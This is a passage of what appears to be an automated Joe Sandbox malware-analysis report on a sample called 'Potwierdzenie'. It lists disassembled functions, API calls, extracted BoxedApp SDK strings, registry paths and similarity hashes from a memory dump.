GetCurrentProcess.KERNEL32(00000017,?,00000024,00000000,00000004,00000004,00000005,00000000,?,\??\,00000001,?,?,00000001,?,?), ref: 0BC5AE88
TlsGetValue.KERNEL32(?,?,?), ref: 0BC5AF14
TlsSetValue.KERNEL32(-00000001,?,?), ref: 0BC5AF22
ReleaseSemaphore.KERNEL32(?,00000001,00000000,?,000000FF), ref: 0BC5B019
memcpy.NTDLL(0BC5ACDF,?,00000000,?,\??\UNC,?,?,?,000000FF), ref: 0BC5B09A
ReleaseSemaphore.KERNEL32(?,00000001,00000000,?,000000FF,00000000,?,\??\,00000001,?,?,00000001,?,?), ref: 0BC5B1E8

Strings

\??\, xrefs: 0BC5ADB5, 0BC5BCE2
, xrefs: 0BC5AE6C
\Device\, xrefs: 0BC5B1F8
\??\UNC, xrefs: 0BC5B045, 0BC5B571
\??\Z:, xrefs: 0BC5ADDB, 0BC5BD0D

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: Value$ReleaseSemaphore$CurrentErrorModeProcessmemcpy
String ID: $\??\$\??\UNC$\??\Z:$\Device\
API String ID: 3782355481-2061025310
Opcode ID: b3cba8db4b69ddaccf1a6970db8325a96a658670bcca31043bc160dfc8b6556d
Instruction ID: b7cbbad574e67128294c58eebeb6c3ad3b3e33c9f4c929ea4ae890ee11871298
Opcode Fuzzy Hash: b3cba8db4b69ddaccf1a6970db8325a96a658670bcca31043bc160dfc8b6556d
Instruction Fuzzy Hash: A3A29171961119DFCF24EFA0CC95BEEB7B8EF54300F504199E805A7190EB70AE85DBA8

Function 0BC9A1D0 Relevance: 27.3, APIs: 9, Strings: 9, Instructions: 283COMMON

Download Yara Rule

APIs

memcpy.NTDLL(00000000,\REGISTRY\USER\,00000002,00000000,00000000,?,\REGISTRY\MACHINE\Software\Classes\Wow6432Node,00000004,\REGISTRY\MACHINE\Software\Classes\AppID,00000003,\REGISTRY\MACHINE\Software\Classes\CLSID,00000003,\REGISTRY\MACHINE\Software\Classes,00000002,\REGISTRY\MACHINE\Software,00000001), ref: 0BC9A291
memcpy.NTDLL(00000000,00000000,0BCE5AC4,00000001,00000000,00000003,\REGISTRY\MACHINE\Software\Classes,00000002,\REGISTRY\MACHINE\Software,00000001,00000000), ref: 0BC9A2D1
memcpy.NTDLL(00000000,?,00000000,00000000,00000000,0BCE5AC4,00000001,00000000,00000003,\REGISTRY\MACHINE\Software\Classes,00000002,\REGISTRY\MACHINE\Software,00000001,00000000), ref: 0BC9A2EC
memcpy.NTDLL(?,00000000,?,00000001,00000000,00000000,00000003,\REGISTRY\MACHINE\Software\Classes,00000002,\REGISTRY\MACHINE\Software,00000001,00000000), ref: 0BC9A349
memcpy.NTDLL(?,_Classes,00000000,?,00000000,?,00000001,00000000,00000000,00000003,\REGISTRY\MACHINE\Software\Classes,00000002,\REGISTRY\MACHINE\Software,00000001,00000000), ref: 0BC9A361
memcpy.NTDLL(?,00000000,?,00000000,00000000,00000000,00000002,?,00000000,00000000,00000003,\REGISTRY\MACHINE\Software\Classes,00000002,\REGISTRY\MACHINE\Software,00000001,00000000), ref: 0BC9A3E9
memcpy.NTDLL(?,_Classes\CLSID,00000000,?,00000000,?,00000000,00000000,00000000,00000002,?,00000000,00000000,00000003,\REGISTRY\MACHINE\Software\Classes,00000002), ref: 0BC9A401

Part of subcall function 0BC179F0: memcpy.NTDLL(00000000,?,?), ref: 0BC17A39

memcpy.NTDLL(?,00000000,?,00000000,00000000,00000000,00000003,?,00000000,00000000,00000002,?,00000000,00000000,00000003,\REGISTRY\MACHINE\Software\Classes), ref: 0BC9A489
memcpy.NTDLL(?,_Classes\Wow6432Node,00000000,?,00000000,?,00000000,00000000,00000000,00000003,?,00000000,00000000,00000002,?,00000000), ref: 0BC9A4A1

Part of subcall function 0BC73EA0: HeapFree.KERNEL32(00000001,00000000,0BCF75BC,0BCF75C8,0BBF107E,-00000004,00000000), ref: 0BC73EC9
Part of subcall function 0BC73EA0: ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC73F04

Strings

\REGISTRY\MACHINE\Software\Classes, xrefs: 0BC9A215
\REGISTRY\MACHINE\Software\Classes\AppID, xrefs: 0BC9A231
\REGISTRY\MACHINE\Software, xrefs: 0BC9A205
\REGISTRY\MACHINE\Software\Classes\Wow6432Node, xrefs: 0BC9A23F
_Classes, xrefs: 0BC9A309, 0BC9A35B
_Classes\Wow6432Node, xrefs: 0BC9A447, 0BC9A49B
\REGISTRY\MACHINE\Software\Classes\CLSID, xrefs: 0BC9A223
\REGISTRY\USER\, xrefs: 0BC9A24D, 0BC9A28B
_Classes\CLSID, xrefs: 0BC9A3A7, 0BC9A3FB

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: memcpy$FreeHeapReleaseSemaphore
String ID: \REGISTRY\MACHINE\Software$\REGISTRY\MACHINE\Software\Classes$\REGISTRY\MACHINE\Software\Classes\AppID$\REGISTRY\MACHINE\Software\Classes\CLSID$\REGISTRY\MACHINE\Software\Classes\Wow6432Node$\REGISTRY\USER\$_Classes$_Classes\CLSID$_Classes\Wow6432Node
API String ID: 3508845319-484750883
Opcode ID: 03d933c15e932ca53f587c80397afcc3dd5337c06e362786a6b9b08fa2846323
Instruction ID: a4d1bd259129a7d212abf15b98606a25ba8b58402c35d667f7ff838894f355dc
Opcode Fuzzy Hash: 03d933c15e932ca53f587c80397afcc3dd5337c06e362786a6b9b08fa2846323
Instruction Fuzzy Hash: 4FA18F72D21214AFDF10EB64DC46AEFB7B9EF58600F454068E909B7240EA31AE05D7E5

Function 0BC66780 Relevance: 22.4, Strings: 17, Instructions: 1162COMMON

Download Yara Rule

Strings

, status , xrefs: 0BC670E7
: thread stop event occured, the thread is going to exit, xrefs: 0BC674EF
, so going to remove the listener from the list, xrefs: 0BC67191
: WaitForMultipleObjects() returned unexpected result: , xrefs: 0BC6743D
BoxedApp::FileSystem::Utils::Impl::CGlobalRealFileNotificationManager::DoMonitoring, xrefs: 0BC66B14, 0BC66B69, 0BC66C94, 0BC66D18, 0BC66D74, 0BC670FA, 0BC671A4, 0BC67262, 0BC67308, 0BC673B2, 0BC67442, 0BC674F4
: too many events, xrefs: 0BC66B64
subscribed again, NtNotifyChangeDirectoryFile returned , xrefs: 0BC6724F, 0BC6739F
: STATUS_NOTIFY_CLEANUP received for listener id , xrefs: 0BC6719F
: WaitForMultipleObjects() returned , xrefs: 0BC66D6F
is in the actual listener list, xrefs: 0BC66C84
core, xrefs: 0BC66B19, 0BC66B6E, 0BC66C99, 0BC66D1D, 0BC66D79, 0BC670FF, 0BC671A9, 0BC67267, 0BC6730D, 0BC673B7, 0BC67447, 0BC674F9
: got notification from real file system, listener id , xrefs: 0BC670F5
: ready to wait for events, xrefs: 0BC66D13
notified, so we remove it from the actual listener list, xrefs: 0BC672F5
@, xrefs: 0BC66B4C
: listener id , xrefs: 0BC66C8F, 0BC6725D, 0BC67303, 0BC673AD
: listener count is , xrefs: 0BC66B0F

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: CurrentThread
String ID: is in the actual listener list$ notified, so we remove it from the actual listener list$ subscribed again, NtNotifyChangeDirectoryFile returned $, so going to remove the listener from the list$, status $: STATUS_NOTIFY_CLEANUP received for listener id $: WaitForMultipleObjects() returned $: WaitForMultipleObjects() returned unexpected result: $: got notification from real file system, listener id $: listener count is $: listener id $: ready to wait for events$: thread stop event occured, the thread is going to exit$: too many events$@$BoxedApp::FileSystem::Utils::Impl::CGlobalRealFileNotificationManager::DoMonitoring$core
API String ID: 2882836952-250184012
Opcode ID: 936b41446d1e0a925545fe16b70d75eb3dfb6435feeb4e929b362a1d5492c9c0
Instruction ID: 200e3271da89605c0c91e459cacd27c66302e8d11d53e6483e9e3931887c82e3
Opcode Fuzzy Hash: 936b41446d1e0a925545fe16b70d75eb3dfb6435feeb4e929b362a1d5492c9c0
Instruction Fuzzy Hash: E7A2C130A603059FDF18DF64C889FAEB7B4EF04754F0045A9E956AB291DB71EE05CBA0

Function 0BC026F0 Relevance: 21.4, APIs: 10, Strings: 4, Instructions: 400COMMON

Download Yara Rule

APIs

Part of subcall function 0BBFD090: memcpy.NTDLL(00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,0BC6F4B8,00000000,00000000,00000000), ref: 0BBFD136

Part of subcall function 0BC09B80: GetFileAttributesW.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 0BC09C19
Part of subcall function 0BC09B80: memcpy.NTDLL(?,BoxedAppSDK_RunDll32_Callback,?,00000000,00000000,?,?,00000000,?,?,?,?,?,00000000), ref: 0BC09CC2

memcpy.NTDLL(00000000,0BCCEC0C,00000000,00000000,00000000), ref: 0BC0280E
memcpy.NTDLL(?,00000000,?,00000001,00000000), ref: 0BC0286F
memcpy.NTDLL(00000000,\rundll32.exe",00000000,?,00000000,?,00000001,00000000), ref: 0BC02885

Part of subcall function 0BC6F4A0: GetLocalTime.KERNEL32(00000000,00000000,00000000,00000000), ref: 0BC6F4DF
Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,bx:,00000000,?), ref: 0BC6F51B
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F537
Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,0BCDB50C,00000000,?,?), ref: 0BC6F58B
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F5A1

Part of subcall function 0BC72C40: memcpy.NTDLL(00000000,75BF8400,00000000,75BF8400,?,75BF8400,?,?,0BC6F54B,?), ref: 0BC72CA8

Part of subcall function 0BC729E0: memcpy.NTDLL(00000000,0BCCD818,00000000,0000000A,00000000,00000000,?,00000000,0BCCD818), ref: 0BC72A20
Part of subcall function 0BC729E0: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 0BC72A58

Part of subcall function 0BCBEC80: GetSystemDirectoryW.KERNEL32(00000000,00000001), ref: 0BCBEC95
Part of subcall function 0BCBEC80: GetSystemDirectoryW.KERNEL32(00000000,00000001), ref: 0BCBECCA

memcpy.NTDLL(00000000,0BCCEC0C,00000000,00000000,00000000), ref: 0BC0299E
memcpy.NTDLL(?,00000000,00000000,00000001,00000000), ref: 0BC02A0B
memcpy.NTDLL(00000000,\rundll32.exe",00000000,?,00000000,00000000,00000001,00000000), ref: 0BC02A21
memcpy.NTDLL(00000000,0BCD31C4,00000000,00000022,?,?,00000000), ref: 0BC02AFB
memcpy.NTDLL(00000000,?,00000000,00000000,?,?,00000000), ref: 0BC02B25
memcpy.NTDLL(00000000,0BCD31CC,00000000,0000002C,?,?,00000000,?,?,00000000), ref: 0BC02B62

Part of subcall function 0BC73EA0: HeapFree.KERNEL32(00000001,00000000,0BCF75BC,0BCF75C8,0BBF107E,-00000004,00000000), ref: 0BC73EC9
Part of subcall function 0BC73EA0: ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC73F04

memcpy.NTDLL(00000000,?,00000000,00000000,?,?,0000002C,?,?,00000000,?,?,00000000), ref: 0BC02B8C

Strings

core, xrefs: 0BC0274E
Unable to find neither required bx sdk dll, nor a shim dll, xrefs: 0BC02744
\rundll32.exe", xrefs: 0BC0282C, 0BC0287F, 0BC029C5, 0BC02A1B
BoxedApp::CBoxedAppCore::BuildRunDll32HelperCmdLine, xrefs: 0BC02749

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: memcpy$DirectoryFileSystemwsprintf$AttributesFreeHeapLocalReleaseSemaphoreTimeWrite
String ID: BoxedApp::CBoxedAppCore::BuildRunDll32HelperCmdLine$Unable to find neither required bx sdk dll, nor a shim dll$\rundll32.exe"$core
API String ID: 4266864547-4255152031
Opcode ID: 321b1f593e52ee4113fc028c97f1660f0d129d2eec84c911e77089751776c4aa
Instruction ID: f9de54f37fd66ffd099f7eafd260d97cdd54eb6803616659fc208a8a11a73528
Opcode Fuzzy Hash: 321b1f593e52ee4113fc028c97f1660f0d129d2eec84c911e77089751776c4aa
Instruction Fuzzy Hash: D4E161B1D202099FDB10EFA4D885BEFB7B9EF44304F444579E506AB241EB34EA09DB91

Function 0BBFEC10 Relevance: 19.9, APIs: 8, Strings: 5, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.NTDLL(00000000,0BCD1780,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,0BBF9D25,?), ref: 0BBFEC99
memcpy.NTDLL(00000000,0BCCEC0C,?,00000000,00000000,?,?,?,00000000), ref: 0BBFEE24

Part of subcall function 0BC73EA0: HeapFree.KERNEL32(00000001,00000000,0BCF75BC,0BCF75C8,0BBF107E,-00000004,00000000), ref: 0BC73EC9
Part of subcall function 0BC73EA0: ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC73F04

memcpy.NTDLL(?,00000000,00000000,00000000,?,?,00000000,00000000,?,?,?,?,?,?,?,0BBF9D25), ref: 0BBFECEB
memcpy.NTDLL(00000000,0BCD1780,00000000,00000000,00000000,?,?,?,00000000,?,?,00000000,00000000,?), ref: 0BBFED74
memcpy.NTDLL(0000012F,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00000000,?,?,00000000), ref: 0BBFEDC3
memcpy.NTDLL(0000012F,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00000000), ref: 0BBFEE71
memcpy.NTDLL(00000000,0BCD1780,00000000,0BCD1780,?,?,?,00000000), ref: 0BBFEECA
memcpy.NTDLL(00000000,0BCCEC0C,00000000,00220000,?,?,?,00000000), ref: 0BBFEF0E

Part of subcall function 0BC6F4A0: GetLocalTime.KERNEL32(00000000,00000000,00000000,00000000), ref: 0BC6F4DF
Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,bx:,00000000,?), ref: 0BC6F51B
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F537
Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,0BCDB50C,00000000,?,?), ref: 0BC6F58B
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F5A1

Part of subcall function 0BBFF510: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000000,00000000,?,?,0BBF2FC0,00000000,layer/sandbox,BoxedApp::ApiLayer::CAutoForceWriteCopyMode::Init,: TlsAlloc() failed, GetLastError() = ,00000000,0BCCD818), ref: 0BBFF558

Part of subcall function 0BC729E0: memcpy.NTDLL(00000000,0BCCD818,00000000,0000000A,00000000,00000000,?,00000000,0BCCD818), ref: 0BC72A20
Part of subcall function 0BC729E0: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 0BC72A58

Part of subcall function 0BCBDEF0: lstrlenW.KERNEL32(0BBFF449,00000000,0BCD1780,?,?,0BBFF449,0BBFAD25,0BCD1780,?,?,?,?,00000000), ref: 0BCBDEFA

Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,0BCDB50C,00000000,?,?), ref: 0BC6F5EE
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F604
Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,0BCDB510,00000000,?,?), ref: 0BC6F651
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F667
Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,0BCD6328,00000000,?,?), ref: 0BC6F6BB
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F6D1

Strings

core, xrefs: 0BBFEF8F, 0BBFF01C
Attempt to launch not executable file: , xrefs: 0BBFF017
Unable to find appropriate template exe, xrefs: 0BBFEF8A
cmd, xrefs: 0BBFEFCB
bat, xrefs: 0BBFEFE5

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: memcpy$wsprintf$FileFreeHeapLocalReleaseSemaphoreTimeWritelstrlen
String ID: Attempt to launch not executable file: $Unable to find appropriate template exe$bat$cmd$core
API String ID: 1924767889-1350372993
Opcode ID: 7ac720ac0d65d0639aad930d122835bd6615f777306e5ac8db364aab89b9d057
Instruction ID: 2f8dab70220f5df48c0b2c085651fa8feea93ecdc9d17ff4153ce61120f64c79
Opcode Fuzzy Hash: 7ac720ac0d65d0639aad930d122835bd6615f777306e5ac8db364aab89b9d057
Instruction Fuzzy Hash: 2FD1C731A101059FDB14EF64D842FBF77BAEF89700F4540A9E906DB261EB31E909E791

Function 0BC0ED10 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 264COMMON

Download Yara Rule

APIs

StringFromCLSID.OLE32(?,?,00000000), ref: 0BC0ED4F
CoTaskMemFree.OLE32(?), ref: 0BC0EDF9
memcpy.NTDLL(00000000,CLSID\,?,00000000,00000000), ref: 0BC0EE5E
memcpy.NTDLL(?,?,?,00000001,00000000), ref: 0BC0EEC2
memcpy.NTDLL(?,\InProcServer32,00000000,?,?,?,00000001,00000000), ref: 0BC0EEDA

Part of subcall function 0BC73EA0: HeapFree.KERNEL32(00000001,00000000,0BCF75BC,0BCF75C8,0BBF107E,-00000004,00000000), ref: 0BC73EC9
Part of subcall function 0BC73EA0: ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC73F04

Strings

CLSID\, xrefs: 0BC0EE01, 0BC0EE55
\InProcServer32, xrefs: 0BC0EE7C, 0BC0EED4

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: memcpy$Free$FromHeapReleaseSemaphoreStringTask
String ID: CLSID\$\InProcServer32
API String ID: 2731344909-2260872517
Opcode ID: 684126178d111eb2ee11f37fea6dd8b466f1c96b7a4d616817907bea7d9800c6
Instruction ID: 3efd2b4c542aedde72736b688275fdda13742950938c500bb315ff21b8cc2852
Opcode Fuzzy Hash: 684126178d111eb2ee11f37fea6dd8b466f1c96b7a4d616817907bea7d9800c6
Instruction Fuzzy Hash: 149164B1E6120A9FDB10EFA4D845AEFB7B9EF44700F444429E906E7281EB30DA05DB61

Function 0BCC25A0 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 262fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000118,C0000000,00000003,00000000,0BC8AF9C,00000000,00000000,00000000,?,00000000,?,0BC8AF9F,?,00000118,00000000), ref: 0BCC25D0
CloseHandle.KERNEL32(?,?,00000000,?,0BC8AF9F,?,00000118,00000000), ref: 0BCC25E5
GetLastError.KERNEL32(?,00000000), ref: 0BCC25F3
SetFilePointer.KERNEL32(00000000,00010000,00000000,00000000,?,00000000), ref: 0BCC2634
SetEndOfFile.KERNEL32(?,?,00000000), ref: 0BCC2642
memcpy.NTDLL(00000000,00000118,00000000,00000000,00000000,?,00000000), ref: 0BCC2717
memcpy.NTDLL(?,00000000,00000000,00000000), ref: 0BCC2762
memcpy.NTDLL(00000000,-wal,00000000,?,?,?,?,00000000), ref: 0BCC27AE
memcpy.NTDLL(00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,00000000), ref: 0BCC2823
memcpy.NTDLL(00000020,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0BCC287E

Strings

-wal, xrefs: 0BCC277B, 0BCC27A5

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: memcpy$File$CloseCreateErrorHandleLastPointer
String ID: -wal
API String ID: 1639721269-440443327
Opcode ID: dac5b80768e1c7f93089be6182a002096e3b2494df421be92659d373c9bf1550
Instruction ID: 3ec30ebbeb70afe1a26c85d70907f581770a41abe4185c27f7c53cd08debca12
Opcode Fuzzy Hash: dac5b80768e1c7f93089be6182a002096e3b2494df421be92659d373c9bf1550
Instruction Fuzzy Hash: 1E91EF71620205AFDB14EF38CC85BAB3399FF58314F50412DE516CB2C0EB70EA529BA4

Function 0BCC44F0 Relevance: 15.5, APIs: 12, Instructions: 473COMMON

Download Yara Rule

APIs

Part of subcall function 0BC73EA0: HeapFree.KERNEL32(00000001,00000000,0BCF75BC,0BCF75C8,0BBF107E,-00000004,00000000), ref: 0BC73EC9
Part of subcall function 0BC73EA0: ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC73F04

memcpy.NTDLL(00000000,00000000,00000000,00000000,?), ref: 0BCC4561
memcpy.NTDLL(?,?,00000000,?,00000000,00000000,?,?,?,00000000,?), ref: 0BCC4640

Part of subcall function 0BC179F0: memcpy.NTDLL(00000000,?,?), ref: 0BC17A39

memcpy.NTDLL(?,?,00000000,?,00000000,00000000,?,?,?,00000000,?), ref: 0BCC4A52

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: memcpy$FreeHeapReleaseSemaphore
String ID:
API String ID: 3508845319-0
Opcode ID: 12e392aac9a586f7fe6a346f7ed7ef2a6f50305a4fad53cf726b5ea4df380b65
Instruction ID: aa83b693761f0a9b8cc121f319a91facf20394247a0761f22defd7abe4877d38
Opcode Fuzzy Hash: 12e392aac9a586f7fe6a346f7ed7ef2a6f50305a4fad53cf726b5ea4df380b65
Instruction Fuzzy Hash: 87F1A571E102199FDF14EFA4C891BAF73B9EF59300F448469E416EB340E734AA05D7A1

Function 0BC12E30 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 479COMMON

Download Yara Rule

Strings

\??\, xrefs: 0BC13060

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: ErrorLast
String ID: \??\
API String ID: 1452528299-3047946824
Opcode ID: 12d6e2a64e92b00e741e25c872c60a4e2a56a87b0a439d1f4a950ce85c59452e
Instruction ID: d556e926873d7ac9846a61bb3dc8fd8c10c16f0a896973e731951f37516baf62
Opcode Fuzzy Hash: 12d6e2a64e92b00e741e25c872c60a4e2a56a87b0a439d1f4a950ce85c59452e
Instruction Fuzzy Hash: F0F1E271D20219AFDF14EFA0DC85ABF77B8EF45204F440469E906A7250EB31EE05EBA5

Function 0BC602C0 Relevance: 10.6, APIs: 8, Instructions: 646COMMON

Download Yara Rule

APIs

memcpy.NTDLL(00000000,0BCCDAC8,?,00000000,00000000,00000000,0BCD9CE8,0BCD99C8), ref: 0BC60494
memcpy.NTDLL(00000000,0BCD9D0C,00000002,00000000,00000000,00000000,0BCD9CE8,?,?,00000000,0BCD9CE8,0BCD99C8), ref: 0BC6058C
memcpy.NTDLL(?,0BCD9CE8,?,00000000,00000000,?,?,?,?,?,00000000,0BCD9CE8,?,?,00000000,0BCD9CE8), ref: 0BC605FC
